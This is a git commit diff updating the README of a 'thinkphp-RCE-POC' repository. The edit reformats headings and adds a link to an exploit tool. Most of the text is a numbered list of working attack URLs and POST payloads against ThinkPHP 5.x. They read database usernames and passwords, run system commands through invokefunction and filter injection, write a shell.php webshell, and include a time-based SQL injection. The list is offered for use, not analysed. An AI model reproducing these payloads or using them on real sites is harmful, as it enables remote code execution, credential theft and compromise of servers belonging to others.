Update README.md
This commit is contained in:
parent
49ee18b1d1
commit
993bbbc214
@ -1,20 +1,23 @@
|
|||||||
# thinkphp-RCE-POC</br>
|
# thinkphp-RCE-POC</br>
|
||||||
官方公告:</br>
|
> thinkphp [利用工具下载](https://github.com/helloexp/0day/releases/tag/v1.1_thinkphp)
|
||||||
|
|
||||||
|
|
||||||
|
## 官方公告:</br>
|
||||||
1、https://blog.thinkphp.cn/869075</br>
|
1、https://blog.thinkphp.cn/869075</br>
|
||||||
2、https://blog.thinkphp.cn/910675</br>
|
2、https://blog.thinkphp.cn/910675</br>
|
||||||
|
|
||||||
POC:</br>
|
POC:</br>
|
||||||
# thinkphp 5.0.22</br>
|
## thinkphp 5.0.22</br>
|
||||||
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username</br>
|
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username</br>
|
||||||
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password</br>
|
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password</br>
|
||||||
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id</br>
|
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id</br>
|
||||||
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1</br>
|
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1</br>
|
||||||
# thinkphp 5</br>
|
## thinkphp 5</br>
|
||||||
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1</br>
|
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1</br>
|
||||||
# thinkphp 5.0.21</br>
|
## thinkphp 5.0.21</br>
|
||||||
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id</br>
|
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id</br>
|
||||||
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1</br>
|
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1</br>
|
||||||
# thinkphp 5.1.*</br>
|
## thinkphp 5.1.*</br>
|
||||||
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1</br>
|
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1</br>
|
||||||
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd</br>
|
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd</br>
|
||||||
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E</br>
|
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E</br>
|
||||||
@ -23,7 +26,7 @@ POC:</br>
|
|||||||
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd</br>
|
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd</br>
|
||||||
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1</br>
|
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1</br>
|
||||||
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd</br>
|
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd</br>
|
||||||
# 未知版本</br>
|
## 未知版本</br>
|
||||||
16、?s=index/\think\module/action/param1/${@phpinfo()}</br>
|
16、?s=index/\think\module/action/param1/${@phpinfo()}</br>
|
||||||
17、?s=index/\think\Module/Action/Param/${@phpinfo()}</br>
|
17、?s=index/\think\Module/Action/Param/${@phpinfo()}</br>
|
||||||
18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}</br>
|
18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}</br>
|
||||||
@ -43,11 +46,13 @@ POC:</br>
|
|||||||
31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1</br>
|
31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1</br>
|
||||||
Content-Disposition: form-data; name="couponid"</br>
|
Content-Disposition: form-data; name="couponid"</br>
|
||||||
1') union select sleep('''+str(sleep_time)+''')#</br>
|
1') union select sleep('''+str(sleep_time)+''')#</br>
|
||||||
# thinkphp 5.0.23(完整版)debug模式</br>
|
|
||||||
|
|
||||||
|
## thinkphp 5.0.23(完整版)debug模式</br>
|
||||||
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx</br>
|
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx</br>
|
||||||
# thinkphp 5.0.23(完整版)</br>
|
## thinkphp 5.0.23(完整版)</br>
|
||||||
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al</rb>
|
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al</rb>
|
||||||
# thinkphp 5.0.10(完整版)</br>
|
## thinkphp 5.0.10(完整版)</br>
|
||||||
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system</rb>
|
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system</rb>
|
||||||
# thinkphp 5.1.* 和 5.2.* 和 5.0.*</br>
|
## thinkphp 5.1.* 和 5.2.* 和 5.0.*</br>
|
||||||
35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
|
35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter
|
||||||
|
Loading…
x
Reference in New Issue
Block a user